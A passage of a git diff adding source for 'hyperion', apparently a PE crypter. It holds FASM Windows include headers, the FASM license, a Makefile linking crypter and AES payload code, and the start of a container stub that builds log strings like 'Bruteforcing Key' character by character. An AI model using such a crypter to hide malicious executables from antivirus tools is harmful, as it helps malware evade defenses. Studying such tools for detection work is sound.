proc + purge pushd,invoke,stdcall,cinvoke,ccall + push eax + pushx equ \\} + match =pushx =ccall proc,pushx value \\{ + allow_nesting + ccall proc + purge pushd,invoke,stdcall,cinvoke,ccall + push eax + pushx equ \\} + match =pushx,pushx \\{ + pushd + pushx equ \\} + restore pushx \} + macro invoke proc,[arg] + \{ \common count@stdcall = 0 + if ~ arg eq + \forward count@stdcall = count@stdcall+1 + match =double value, arg \\{ count@stdcall = count@stdcall+1 \\} + \common end if + if proc eqtype 0 & defined proc \# % & count@stdcall <> proc \# % + display "Error: invalid count of parameters for ",\`proc,".",0Dh,0Ah + assert 0 + end if + \reverse pushd + \common call [proc] \} + macro stdcall proc,[arg] + \{ \common count@stdcall = 0 + if ~ arg eq + \forward count@stdcall = count@stdcall+1 + match =double value, arg \\{ count@stdcall = count@stdcall+1 \\} + \common end if + if proc eqtype 0 & defined proc \# % & count@stdcall <> proc \# % + display "Error: invalid count of parameters for ",\`proc,".",0Dh,0Ah + assert 0 + end if + \reverse pushd + \common call proc \} + macro cinvoke proc,[arg] + \{ \common \local size + size = 0 + if ~ arg eq + \reverse pushd + size = size+4 + match =double any,arg \\{ size = size+4 \\} + \common end if + call [proc] + if size + add esp,size + end if \} + macro ccall proc,[arg] + \{ \common \local size + size = 0 + if ~ arg eq + \reverse pushd + size = size+4 + match =double any,arg \\{ size = size+4 \\} + \common end if + call proc + if size + add esp,size + end if \} } + +macro pushd value +{ match first=,more, value \{ \local ..continue + times 1 - (rva $ and 1) nop + call ..continue + du value,0 + ..continue: + pushd equ \} + match pushd =addr var,pushd value \{ \local ..opcode,..address + if +var relativeto 0 | +var relativeto $ + push var + else + lea edx,[var] + push edx + end if + pushd equ \} + match pushd =double [var],pushd value \{ + push dword [var+4] + push dword [var] + pushd equ \} + match pushd =double =ptr var,pushd value \{ + push dword [var+4] + push dword [var] + pushd equ \} + match pushd =double num,pushd value \{ \local ..high,..low + virtual at 0 + dq num + load ..low dword from 0 + load ..high dword from 4 + end virtual + push ..high + push ..low + pushd equ \} + match pushd,pushd \{ \local ..continue + if value eqtype '' + times 1 - (rva $ and 1) nop + call ..continue + du value,0 + ..continue: + else + push value + end if + pushd equ \} + restore pushd } + +allow_nesting + +include 'pcount/kernel32.inc' +include 'pcount/user32.inc' +include 'pcount/gdi32.inc' +include 'pcount/advapi32.inc' +include 'pcount/comctl32.inc' +include 'pcount/comdlg32.inc' +include 'pcount/shell32.inc' +include 'pcount/wsock32.inc' + +macro import lib,[functions] +{ common macro import_#lib \{ import lib,functions \} } + +macro api [functions] +{ common macro all_api \{ all_api + api functions \} } +macro all_api {} + +include 'api/kernel32.inc' +include 'api/user32.inc' +include 'api/gdi32.inc' +include 'api/advapi32.inc' +include 'api/comctl32.inc' +include 'api/comdlg32.inc' +include 'api/shell32.inc' +include 'api/wsock32.inc' + +purge import,api + +macro .data { section '.data' data readable writeable } + +macro .code { section '.text' code readable executable } + +macro .end label +{ + entry label + + section '.idata' import data readable writeable + + library kernel32,'KERNEL32.DLL',\ + user32,'USER32.DLL',\ + gdi32,'GDI32.DLL',\ + advapi32,'ADVAPI32.DLL',\ + comctl32,'COMCTL32.DLL',\ + comdlg32,'COMDLG32.DLL',\ + shell32,'SHELL32.DLL',\ + wsock32,'WSOCK32.DLL' + + import_kernel32 + import_user32 + import_gdi32 + import_advapi32 + import_comctl32 + import_comdlg32 + import_shell32 + import_wsock32 + + all_api +} + +virtual at 0 + xchg eax,eax + detected_16bit = $-1 +end virtual + +if detected_16bit + format PE GUI 4.0 +end if diff --git a/binary/hyperion/source/Fasm/INCLUDE/WIN64A.INC b/binary/hyperion/source/Fasm/INCLUDE/WIN64A.INC new file mode 100755 index 0000000..ca02736 --- /dev/null +++ b/binary/hyperion/source/Fasm/INCLUDE/WIN64A.INC @@ -0,0 +1,25 @@ + +; Win64 programming headers (ASCII) + +include 'macro/struct.inc' +include 'macro/proc64.inc' +include 'macro/com64.inc' +include 'macro/import64.inc' +include 'macro/export.inc' +include 'macro/resource.inc' + +struc TCHAR [val] { common match any, val \{ . db val \} + match , val \{ . db ? \} } +sizeof.TCHAR = 1 + +include 'equates/kernel64.inc' +include 'equates/user64.inc' +include 'equates/gdi64.inc' +include 'equates/comctl64.inc' +include 'equates/comdlg64.inc' +include 'equates/shell64.inc' + +macro api [name] { if used name + label name qword at name#A + end if } + diff --git a/binary/hyperion/source/Fasm/INCLUDE/WIN64AX.INC b/binary/hyperion/source/Fasm/INCLUDE/WIN64AX.INC new file mode 100755 index 0000000..42dc7db --- /dev/null +++ b/binary/hyperion/source/Fasm/INCLUDE/WIN64AX.INC @@ -0,0 +1,205 @@ + +; Extended Win64 programming headers (ASCII) + +include 'win64a.inc' + +include 'macro/if.inc' + +macro allow_nesting +{ macro invoke proc,[arg] + \{ \common fastcall [proc],arg \} + macro fastcall proc,[arg] + \{ \common \local list,counter,flags,outer_frame,nested_frame,..close_nest + match =current@frame,current@frame \\{ + frame + define outer_frame \\} + define counter + define list + flags = 0 + \forward \local param,nested,isfloat,..next + match any,counter \\{ list equ list, \\} + counter equ counter+1 + define param arg + define nested + isfloat = 0 + match =invoke statement,param \\{ + nested equ param + define param \\} + match =fastcall statement,param \\{ + nested equ param + define param \\} + match =float =invoke statement,param \\{ + define nested invoke statement + define param + isfloat = 1 \\} + match =float =fastcall statement,param \\{ + define nested fastcall statement + define param + isfloat = 1 \\} + match statement,nested \\{ + match =nested_frame,nested_frame \\\{ + frame + define nested_frame \\\} + allow_nesting + statement + purge invoke_fastcall + if counter > 4 + if isfloat + movq [rsp+size@frame+(counter-1)*8],xmm0 + else + mov [rsp+size@frame+(counter-1)*8],rax + end if + else + flags = flags or 1 shl (counter-1) + if isfloat + flags = flags or 1 shl (4+counter-1) + end if + if ..close_nest > ..next + if float + movq [rsp+size@frame+(counter-1)*8],xmm0 + else + mov [rsp+size@frame+(counter-1)*8],rax + end if + else + flags = flags or 1 shl (8+counter-1) + end if + end if + ..next: \\} + list equ list + \common ..close_nest: + match ,nested_frame \\{ endf \\} + if flags and 1 + if flags and 1 shl 4 + if ~ flags and 1 shl 8 + movq xmm0,[rsp] + end if + else + if flags and 1 shl 8 + mov rcx,rax + else + mov rcx,[rsp] + end if + end if + end if + if flags and 1 shl 1 + if flags and 1 shl (4+1) + if flags and 1 shl (8+1) + movq xmm1,xmm0 + else + movq xmm1,[rsp+8] + end if + else + if flags and 1 shl (8+1) + mov rdx,rax + else + mov rdx,[rsp+8] + end if + end if + end if + if flags and 1 shl 2 + if flags and 1 shl (4+2) + if flags and 1 shl (8+2) + movq xmm2,xmm0 + else + movq xmm2,[rsp+2*8] + end if + else + if flags and 1 shl (8+2) + mov r8,rax + else + mov r8,[rsp+2*8] + end if + end if + end if + if flags and 1 shl 3 + if flags and 1 shl (4+3) + if flags and 1 shl (8+3) + movq xmm3,xmm0 + else + movq xmm3,[rsp+3*8] + end if + else + if flags and 1 shl (8+3) + mov r9,rax + else + mov r9,[rsp+3*8] + end if + end if + end if + match args,list \\{ fastcall proc,args \\} + match ,list \\{ fastcall proc \\} + match ,outer_frame \\{ endf \\} \} } + +allow_nesting + +macro import lib,[functions] +{ common macro import_#lib \{ import lib,functions \} } + +macro api [functions] +{ common macro all_api \{ all_api + api functions \} } +macro all_api {} + +include 'api/kernel32.inc' +include 'api/user32.inc' +include 'api/gdi32.inc' +include 'api/advapi32.inc' +include 'api/comctl32.inc' +include 'api/comdlg32.inc' +include 'api/shell32.inc' +include 'api/wsock32.inc' + +purge import,api + +macro .data { section '.data' data readable writeable } + +macro .code { + section '.text' code readable executable + entry $ + sub rsp,8 + local main,code + entry equ main + if main <> code + jmp main + end if + code: } + +macro .end value +{ + label entry at value + + section '.idata' import data readable writeable + + library kernel32,'KERNEL32.DLL',\ + user32,'USER32.DLL',\ + gdi32,'GDI32.DLL',\ + advapi32,'ADVAPI32.DLL',\ + comctl32,'COMCTL32.DLL',\ + comdlg32,'COMDLG32.DLL',\ + shell32,'SHELL32.DLL',\ + wsock32,'WSOCK32.DLL' + + import_kernel32 + import_user32 + import_gdi32 + import_advapi32 + import_comctl32 + import_comdlg32 + import_shell32 + import_wsock32 + + all_api +} + +virtual at 0 + inc ax + if $=1 + detected_16bit = 1 + else + detected_16bit = 0 + end if +end virtual + +if detected_16bit + format PE64 GUI 5.0 +end if diff --git a/binary/hyperion/source/Fasm/INCLUDE/WIN64AXP.INC b/binary/hyperion/source/Fasm/INCLUDE/WIN64AXP.INC new file mode 100755 index 0000000..838c7c7 --- /dev/null +++ b/binary/hyperion/source/Fasm/INCLUDE/WIN64AXP.INC @@ -0,0 +1,221 @@ + +; Extended Win64 programming headers with parameters count checking (ASCII) + +include 'win64a.inc' + +include 'macro/if.inc' + +macro allow_nesting +{ macro invoke proc,[arg] + \{ \common fastcall [proc],arg \} + macro fastcall proc,[arg] + \{ \common \local list,counter,flags,outer_frame,nested_frame,..close_nest + match =current@frame,current@frame \\{ + frame + define outer_frame \\} + define counter + define list + flags = 0 + \forward \local param,nested,isfloat,..next + match any,counter \\{ list equ list, \\} + counter equ counter+1 + define param arg + define nested + isfloat = 0 + match =invoke statement,param \\{ + nested equ param + define param \\} + match =fastcall statement,param \\{ + nested equ param + define param \\} + match =float =invoke statement,param \\{ + define nested invoke statement + define param + isfloat = 1 \\} + match =float =fastcall statement,param \\{ + define nested fastcall statement + define param + isfloat = 1 \\} + match statement,nested \\{ + match =nested_frame,nested_frame \\\{ + frame + define nested_frame \\\} + allow_nesting + statement + purge invoke_fastcall + if counter > 4 + if isfloat + movq [rsp+size@frame+(counter-1)*8],xmm0 + else + mov [rsp+size@frame+(counter-1)*8],rax + end if + else + flags = flags or 1 shl (counter-1) + if isfloat + flags = flags or 1 shl (4+counter-1) + end if + if ..close_nest > ..next + if float + movq [rsp+size@frame+(counter-1)*8],xmm0 + else + mov [rsp+size@frame+(counter-1)*8],rax + end if + else + flags = flags or 1 shl (8+counter-1) + end if + end if + ..next: \\} + match any,param \\{ list equ list \\} + \common ..close_nest: + match ,nested_frame \\{ endf \\} + if flags and 1 + if flags and 1 shl 4 + if ~ flags and 1 shl 8 + movq xmm0,[rsp] + end if + else + if flags and 1 shl 8 + mov rcx,rax + else + mov rcx,[rsp] + end if + end if + end if + if flags and 1 shl 1 + if flags and 1 shl (4+1) + if flags and 1 shl (8+1) + movq xmm1,xmm0 + else + movq xmm1,[rsp+8] + end if + else + if flags and 1 shl (8+1) + mov rdx,rax + else + mov rdx,[rsp+8] + end if + end if + end if + if flags and 1 shl 2 + if flags and 1 shl (4+2) + if flags and 1 shl (8+2) + movq xmm2,xmm0 + else + movq xmm2,[rsp+2*8] + end if + else + if flags and 1 shl (8+2) + mov r8,rax + else + mov r8,[rsp+2*8] + end if + end if + end if + if flags and 1 shl 3 + if flags and 1 shl (4+3) + if flags and 1 shl (8+3) + movq xmm3,xmm0 + else + movq xmm3,[rsp+3*8] + end if + else + if flags and 1 shl (8+3) + mov r9,rax + else + mov r9,[rsp+3*8] + end if + end if + end if + match args,list \\{ fastcall proc,args \\} + match ,list \\{ fastcall proc + define counter 0 \\} + match ,outer_frame \\{ endf \\} + proc@paramcheck equ proc + match [name],proc \\{ define proc@paramcheck name \\} + match name,proc@paramcheck \\{ if name eqtype 0 & defined name \\# % & counter <> name \\# % + display "Error: invalid count of parameters for ",\\`name,".",0Dh,0Ah + assert 0 + end if \\} \} } + +allow_nesting + +include 'pcount/kernel32.inc' +include 'pcount/user32.inc' +include 'pcount/gdi32.inc' +include 'pcount/advapi32.inc' +include 'pcount/comctl32.inc' +include 'pcount/comdlg32.inc' +include 'pcount/shell32.inc' +include 'pcount/wsock32.inc' + +macro import lib,[functions] +{ common macro import_#lib \{ import lib,functions \} } + +macro api [functions] +{ common macro all_api \{ all_api + api functions \} } +macro all_api {} + +include 'api/kernel32.inc' +include 'api/user32.inc' +include 'api/gdi32.inc' +include 'api/advapi32.inc' +include 'api/comctl32.inc' +include 'api/comdlg32.inc' +include 'api/shell32.inc' +include 'api/wsock32.inc' + +purge import,api + +macro .data { section '.data' data readable writeable } + +macro .code { + section '.text' code readable executable + entry $ + sub rsp,8 + local main,code + entry equ main + if main <> code + jmp main + end if + code: } + +macro .end value +{ + label entry at value + + section '.idata' import data readable writeable + + library kernel32,'KERNEL32.DLL',\ + user32,'USER32.DLL',\ + gdi32,'GDI32.DLL',\ + advapi32,'ADVAPI32.DLL',\ + comctl32,'COMCTL32.DLL',\ + comdlg32,'COMDLG32.DLL',\ + shell32,'SHELL32.DLL',\ + wsock32,'WSOCK32.DLL' + + import_kernel32 + import_user32 + import_gdi32 + import_advapi32 + import_comctl32 + import_comdlg32 + import_shell32 + import_wsock32 + + all_api +} + +virtual at 0 + inc ax + if $=1 + detected_16bit = 1 + else + detected_16bit = 0 + end if +end virtual + +if detected_16bit + format PE64 GUI 5.0 +end if diff --git a/binary/hyperion/source/Fasm/INCLUDE/WIN64W.INC b/binary/hyperion/source/Fasm/INCLUDE/WIN64W.INC new file mode 100755 index 0000000..c18ddfd --- /dev/null +++ b/binary/hyperion/source/Fasm/INCLUDE/WIN64W.INC @@ -0,0 +1,24 @@ + +; Win64 programming headers (WideChar) + +include 'macro/struct.inc' +include 'macro/proc64.inc' +include 'macro/com64.inc' +include 'macro/import64.inc' +include 'macro/export.inc' +include 'macro/resource.inc' + +struc TCHAR [val] { common match any, val \{ . du val \} + match , val \{ . du ? \} } +sizeof.TCHAR = 2 + +include 'equates/kernel64.inc' +include 'equates/user64.inc' +include 'equates/gdi64.inc' +include 'equates/comctl64.inc' +include 'equates/comdlg64.inc' +include 'equates/shell64.inc' + +macro api [name] { if used name + label name qword at name#W + end if } \ No newline at end of file diff --git a/binary/hyperion/source/Fasm/INCLUDE/WIN64WX.INC b/binary/hyperion/source/Fasm/INCLUDE/WIN64WX.INC new file mode 100755 index 0000000..5da6add --- /dev/null +++ b/binary/hyperion/source/Fasm/INCLUDE/WIN64WX.INC @@ -0,0 +1,204 @@ + +; Extended Win64 programming headers (WideChar) + +include 'win64w.inc' + +include 'macro/if.inc' + +macro allow_nesting +{ macro invoke proc,[arg] + \{ \common fastcall [proc],arg \} + macro fastcall proc,[arg] + \{ \common \local list,counter,flags,outer_frame,nested_frame,..close_nest + match =current@frame,current@frame \\{ + frame + define outer_frame \\} + define counter + define list + flags = 0 + \forward \local param,nested,isfloat,..next + match any,counter \\{ list equ list, \\} + counter equ counter+1 + define param arg + define nested + isfloat = 0 + match =invoke statement,param \\{ + nested equ param + define param \\} + match =fastcall statement,param \\{ + nested equ param + define param \\} + match =float =invoke statement,param \\{ + define nested invoke statement + define param + isfloat = 1 \\} + match =float =fastcall statement,param \\{ + define nested fastcall statement + define param + isfloat = 1 \\} + match statement,nested \\{ + match =nested_frame,nested_frame \\\{ + frame + define nested_frame \\\} + allow_nesting + statement + purge invoke_fastcall + if counter > 4 + if isfloat + movq [rsp+size@frame+(counter-1)*8],xmm0 + else + mov [rsp+size@frame+(counter-1)*8],rax + end if + else + flags = flags or 1 shl (counter-1) + if isfloat + flags = flags or 1 shl (4+counter-1) + end if + if ..close_nest > ..next + if float + movq [rsp+size@frame+(counter-1)*8],xmm0 + else + mov [rsp+size@frame+(counter-1)*8],rax + end if + else + flags = flags or 1 shl (8+counter-1) + end if + end if + ..next: \\} + list equ list + \common ..close_nest: + match ,nested_frame \\{ endf \\} + if flags and 1 + if flags and 1 shl 4 + if ~ flags and 1 shl 8 + movq xmm0,[rsp] + end if + else + if flags and 1 shl 8 + mov rcx,rax + else + mov rcx,[rsp] + end if + end if + end if + if flags and 1 shl 1 + if flags and 1 shl (4+1) + if flags and 1 shl (8+1) + movq xmm1,xmm0 + else + movq xmm1,[rsp+8] + end if + else + if flags and 1 shl (8+1) + mov rdx,rax + else + mov rdx,[rsp+8] + end if + end if + end if + if flags and 1 shl 2 + if flags and 1 shl (4+2) + if flags and 1 shl (8+2) + movq xmm2,xmm0 + else + movq xmm2,[rsp+2*8] + end if + else + if flags and 1 shl (8+2) + mov r8,rax + else + mov r8,[rsp+2*8] + end if + end if + end if + if flags and 1 shl 3 + if flags and 1 shl (4+3) + if flags and 1 shl (8+3) + movq xmm3,xmm0 + else + movq xmm3,[rsp+3*8] + end if + else + if flags and 1 shl (8+3) + mov r9,rax + else + mov r9,[rsp+3*8] + end if + end if + end if + match args,list \\{ fastcall proc,args \\} + match ,list \\{ fastcall proc \\} + match ,outer_frame \\{ endf \\} \} } + +allow_nesting + +macro import lib,[functions] +{ common macro import_#lib \{ import lib,functions \} } + +macro api [functions] +{ common macro all_api \{ all_api + api functions \} } +macro all_api {} + +include 'api/kernel32.inc' +include 'api/user32.inc' +include 'api/gdi32.inc' +include 'api/advapi32.inc' +include 'api/comctl32.inc' +include 'api/comdlg32.inc' +include 'api/shell32.inc' +include 'api/wsock32.inc' + +purge import,api + +macro .data { section '.data' data readable writeable } +macro .code { + section '.text' code readable executable + entry $ + sub rsp,8 + local main,code + entry equ main + if main <> code + jmp main + end if + code: } + +macro .end value +{ + label entry at value + + section '.idata' import data readable writeable + + library kernel32,'KERNEL32.DLL',\ + user32,'USER32.DLL',\ + gdi32,'GDI32.DLL',\ + advapi32,'ADVAPI32.DLL',\ + comctl32,'COMCTL32.DLL',\ + comdlg32,'COMDLG32.DLL',\ + shell32,'SHELL32.DLL',\ + wsock32,'WSOCK32.DLL' + + import_kernel32 + import_user32 + import_gdi32 + import_advapi32 + import_comctl32 + import_comdlg32 + import_shell32 + import_wsock32 + + all_api +} + +virtual at 0 + inc ax + if $=1 + detected_16bit = 1 + else + detected_16bit = 0 + end if +end virtual + +if detected_16bit + format PE64 GUI 5.0 +end if diff --git a/binary/hyperion/source/Fasm/INCLUDE/WIN64WXP.INC b/binary/hyperion/source/Fasm/INCLUDE/WIN64WXP.INC new file mode 100755 index 0000000..19640e8 --- /dev/null +++ b/binary/hyperion/source/Fasm/INCLUDE/WIN64WXP.INC @@ -0,0 +1,221 @@ + +; Extended Win64 programming headers with parameters count checking (WideChar) + +include 'win64w.inc' + +include 'macro/if.inc' + +macro allow_nesting +{ macro invoke proc,[arg] + \{ \common fastcall [proc],arg \} + macro fastcall proc,[arg] + \{ \common \local list,counter,flags,outer_frame,nested_frame,..close_nest + match =current@frame,current@frame \\{ + frame + define outer_frame \\} + define counter + define list + flags = 0 + \forward \local param,nested,isfloat,..next + match any,counter \\{ list equ list, \\} + counter equ counter+1 + define param arg + define nested + isfloat = 0 + match =invoke statement,param \\{ + nested equ param + define param \\} + match =fastcall statement,param \\{ + nested equ param + define param \\} + match =float =invoke statement,param \\{ + define nested invoke statement + define param + isfloat = 1 \\} + match =float =fastcall statement,param \\{ + define nested fastcall statement + define param + isfloat = 1 \\} + match statement,nested \\{ + match =nested_frame,nested_frame \\\{ + frame + define nested_frame \\\} + allow_nesting + statement + purge invoke_fastcall + if counter > 4 + if isfloat + movq [rsp+size@frame+(counter-1)*8],xmm0 + else + mov [rsp+size@frame+(counter-1)*8],rax + end if + else + flags = flags or 1 shl (counter-1) + if isfloat + flags = flags or 1 shl (4+counter-1) + end if + if ..close_nest > ..next + if float + movq [rsp+size@frame+(counter-1)*8],xmm0 + else + mov [rsp+size@frame+(counter-1)*8],rax + end if + else + flags = flags or 1 shl (8+counter-1) + end if + end if + ..next: \\} + match any,param \\{ list equ list \\} + \common ..close_nest: + match ,nested_frame \\{ endf \\} + if flags and 1 + if flags and 1 shl 4 + if ~ flags and 1 shl 8 + movq xmm0,[rsp] + end if + else + if flags and 1 shl 8 + mov rcx,rax + else + mov rcx,[rsp] + end if + end if + end if + if flags and 1 shl 1 + if flags and 1 shl (4+1) + if flags and 1 shl (8+1) + movq xmm1,xmm0 + else + movq xmm1,[rsp+8] + end if + else + if flags and 1 shl (8+1) + mov rdx,rax + else + mov rdx,[rsp+8] + end if + end if + end if + if flags and 1 shl 2 + if flags and 1 shl (4+2) + if flags and 1 shl (8+2) + movq xmm2,xmm0 + else + movq xmm2,[rsp+2*8] + end if + else + if flags and 1 shl (8+2) + mov r8,rax + else + mov r8,[rsp+2*8] + end if + end if + end if + if flags and 1 shl 3 + if flags and 1 shl (4+3) + if flags and 1 shl (8+3) + movq xmm3,xmm0 + else + movq xmm3,[rsp+3*8] + end if + else + if flags and 1 shl (8+3) + mov r9,rax + else + mov r9,[rsp+3*8] + end if + end if + end if + match args,list \\{ fastcall proc,args \\} + match ,list \\{ fastcall proc + define counter 0 \\} + match ,outer_frame \\{ endf \\} + proc@paramcheck equ proc + match [name],proc \\{ define proc@paramcheck name \\} + match name,proc@paramcheck \\{ if name eqtype 0 & defined name \\# % & counter <> name \\# % + display "Error: invalid count of parameters for ",\\`name,".",0Dh,0Ah + assert 0 + end if \\} \} } + +allow_nesting + +include 'pcount/kernel32.inc' +include 'pcount/user32.inc' +include 'pcount/gdi32.inc' +include 'pcount/advapi32.inc' +include 'pcount/comctl32.inc' +include 'pcount/comdlg32.inc' +include 'pcount/shell32.inc' +include 'pcount/wsock32.inc' + +macro import lib,[functions] +{ common macro import_#lib \{ import lib,functions \} } + +macro api [functions] +{ common macro all_api \{ all_api + api functions \} } +macro all_api {} + +include 'api/kernel32.inc' +include 'api/user32.inc' +include 'api/gdi32.inc' +include 'api/advapi32.inc' +include 'api/comctl32.inc' +include 'api/comdlg32.inc' +include 'api/shell32.inc' +include 'api/wsock32.inc' + +purge import,api + +macro .data { section '.data' data readable writeable } + +macro .code { + section '.text' code readable executable + entry $ + sub rsp,8 + local main,code + entry equ main + if main <> code + jmp main + end if + code: } + +macro .end value +{ + label entry at value + + section '.idata' import data readable writeable + + library kernel32,'KERNEL32.DLL',\ + user32,'USER32.DLL',\ + gdi32,'GDI32.DLL',\ + advapi32,'ADVAPI32.DLL',\ + comctl32,'COMCTL32.DLL',\ + comdlg32,'COMDLG32.DLL',\ + shell32,'SHELL32.DLL',\ + wsock32,'WSOCK32.DLL' + + import_kernel32 + import_user32 + import_gdi32 + import_advapi32 + import_comctl32 + import_comdlg32 + import_shell32 + import_wsock32 + + all_api +} + +virtual at 0 + inc ax + if $=1 + detected_16bit = 1 + else + detected_16bit = 0 + end if +end virtual + +if detected_16bit + format PE64 GUI 5.0 +end if diff --git a/binary/hyperion/source/Fasm/license.TXT b/binary/hyperion/source/Fasm/license.TXT new file mode 100755 index 0000000..95b7463 --- /dev/null +++ b/binary/hyperion/source/Fasm/license.TXT @@ -0,0 +1,37 @@ + +flat assembler version 1.71 +Copyright (c) 1999-2016, Tomasz Grysztar. +All rights reserved. + +This program is free for commercial and non-commercial use as long as +the following conditions are adhered to. + +Copyright remains Tomasz Grysztar, and as such any Copyright notices +in the code are not to be removed. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are +met: + +1. Redistributions of source code must retain the above copyright notice, + this list of conditions and the following disclaimer. +2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED +TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A +PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR +CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, +EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, +PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR +PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF +LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING +NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS +SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +The licence and distribution terms for any publically available +version or derivative of this code cannot be changed. i.e. this code +cannot simply be copied and put under another distribution licence +(including the GNU Public Licence). diff --git a/binary/hyperion/source/Makefile b/binary/hyperion/source/Makefile new file mode 100644 index 0000000..43c5d50 --- /dev/null +++ b/binary/hyperion/source/Makefile @@ -0,0 +1,11 @@ +CC = gcc +AES_INCLUDE_DIR = Src/Payloads/Aes/c +CFLAGS = -std=c99 -Wall -pedantic -O2 -m32 -I$(AES_INCLUDE_DIR) +SRC = $(wildcard Src/Crypter/*.c) $(wildcard Src/Payloads/Aes/c/*.c) +OBJ = $(SRC:.c=.o) +EXECUTABLE=hyperion.exe + +all: hyperion + +hyperion: $(OBJ) + $(CC) $(CFLAGS) -o $(EXECUTABLE) $^ diff --git a/binary/hyperion/source/Src/Container/32/createstrings.inc b/binary/hyperion/source/Src/Container/32/createstrings.inc new file mode 100644 index 0000000..289ef4c --- /dev/null +++ b/binary/hyperion/source/Src/Container/32/createstrings.inc @@ -0,0 +1,560 @@ +macro createStringBruteforcing location +{ + mov [location+0],'B' + mov [location+1],'r' + mov [location+2],'u' + mov [location+3],'t' + mov [location+4],'e' + mov [location+5],'f' + mov [location+6],'o' + mov [location+7],'r' + mov [location+8],'c' + mov [location+9],'i' + mov [location+10],'n' + mov [location+11],'g' + mov [location+12],' ' + mov [location+13],'K' + mov [location+14],'e' + mov [location+15],'y' + mov [location+16],0 +} + +macro createStringSettingPermissions location +{ + mov [location+0],'S' + mov [location+1],'e' + mov [location+2],'t' + mov [location+3],'t' + mov [location+4],'i' + mov [location+5],'n' + mov [location+6],'g' + mov [location+7],' ' + mov [location+8],'S' + mov [location+9],'e' + mov [location+10],'c' + mov [location+11],'t' + mov [location+12],'i' + mov [location+13],'o' + mov [location+14],'n' + mov [location+15],' ' + mov [location+16],'P' + mov [location+17],'e' + mov [location+18],'r' + mov [location+19],'m' + mov [location+20],'i' + mov [location+21],'s' + mov [location+22],'s' + mov [location+23],'i' + mov [location+24],'o' + mov [location+25],'n' + mov [location+26],'s' + mov [location+27],0 +} + +macro createStringOrdinal location +{ + mov [location+0],'O' + mov [location+1],'r' + mov [location+2],'d' + mov [location+3],'i' + mov [location+4],'n' + mov [location+5],'a' + mov [location+6],'l' + mov [location+7],':' + mov [location+8],' ' + mov [location+9],0 +} + +macro createStringName location +{ + mov [location+0],'N' + mov [location+1],'a' + mov [location+2],'m' + mov [location+3],'e' + mov [location+4],':' + mov [location+5],' ' + mov [location+6],0 +} + +macro createStringProcessImportDirectory location +{ + mov [location+0],'P' + mov [location+1],'r' + mov [location+2],'o' + mov [location+3],'c' + mov [location+4],'e' + mov [location+5],'s' + mov [location+6],'s' + mov [location+7],'i' + mov [location+8],'n' + mov [location+9],'g' + mov [location+10],' ' + mov [location+11],'I' + mov [location+12],'m' + mov [location+13],'p' + mov [location+14],'o' + mov [location+15],'r' + mov [location+16],'t' + mov [location+17],' ' + mov [location+18],'D' + mov [location+19],'i' + mov [location+20],'r' + mov [location+21],'e' + mov [location+22],'c' + mov [location+23],'t' + mov [location+24],'o' + mov [location+25],'r' + mov [location+26],'y' + mov [location+27],':' + mov [location+28],0 +} + +macro createStringFoundImportTable location +{ + mov [location+0],'I' + mov [location+1],'m' + mov [location+2],'p' + mov [location+3],'o' + mov [location+4],'r' + mov [location+5],'t' + mov [location+6],' ' + mov [location+7],'T' + mov [location+8],'a' + mov [location+9],'b' + mov [location+10],'l' + mov [location+11],'e' + mov [location+12],':' + mov [location+13],0 +} + +macro createStringLoadingFilesAPIs location +{ + mov [location+0],'L' + mov [location+1],'o' + mov [location+2],'a' + mov [location+3],'d' + mov [location+4],'i' + mov [location+5],'n' + mov [location+6],'g' + mov [location+7],' ' + mov [location+8],'A' + mov [location+9],'P' + mov [location+10],'I' + mov [location+11],'s' + mov [location+12],0 +} + +macro createStringMappingFileInMemory location +{ + mov [location+0],'M' + mov [location+1],'a' + mov [location+2],'p' + mov [location+3],'p' + mov [location+4],'i' + mov [location+5],'n' + mov [location+6],'g' + mov [location+7],' ' + mov [location+8],'F' + mov [location+9],'i' + mov [location+10],'l' + mov [location+11],'e' + mov [location+12],' ' + mov [location+13],'i' + mov [location+14],'n' + mov [location+15],'t' + mov [location+16],'o' + mov [location+17],' ' + mov [location+18],'M' + mov [location+19],'e' + mov [location+20],'m' + mov [location+21],'o' + mov [location+22],'r' + mov [location+23],'y' + mov [location+24],0 +} + +macro createStringLoaded location +{ + mov [location+0],'L' + mov [location+1],'o' + mov [location+2],'a' + mov [location+3],'d' + mov [location+4],'e' + mov [location+5],'d' + mov [location+6],' ' + mov [location+7],0 +} + +macro createStringLoadedPEHeader location +{ + mov [location+0],'S' + mov [location+1],'e' + mov [location+2],'t' + mov [location+3],' ' + mov [location+4],'I' + mov [location+5],'m' + mov [location+6],'a' + mov [location+7],'g' + mov [location+8],'e' + mov [location+9],' ' + mov [location+10],'w' + mov [location+11],'r' + mov [location+12],'i' + mov [location+13],'t' + mov [location+14],'a' + mov [location+15],'b' + mov [location+16],'l' + mov [location+17],'e' + mov [location+18],':' + mov [location+19],0 +} + +macro createStringVerifyPE location +{ + mov [location+0],'V' + mov [location+1],'e' + mov [location+2],'r' + mov [location+3],'i' + mov [location+4],'f' + mov [location+5],'y' + mov [location+6],'i' + mov [location+7],'n' + mov [location+8],'g' + mov [location+9],' ' + mov [location+10],'P' + mov [location+11],'E' + mov [location+12],0 +} + +macro createStringVerifyChecksum location +{ + mov [location+0],'V' + mov [location+1],'e' + mov [location+2],'r' + mov [location+3],'i' + mov [location+4],'f' + mov [location+5],'y' + mov [location+6],'i' + mov [location+7],'n' + mov [location+8],'g' + mov [location+9],' ' + mov [location+10],'C' + mov [location+11],'h' + mov 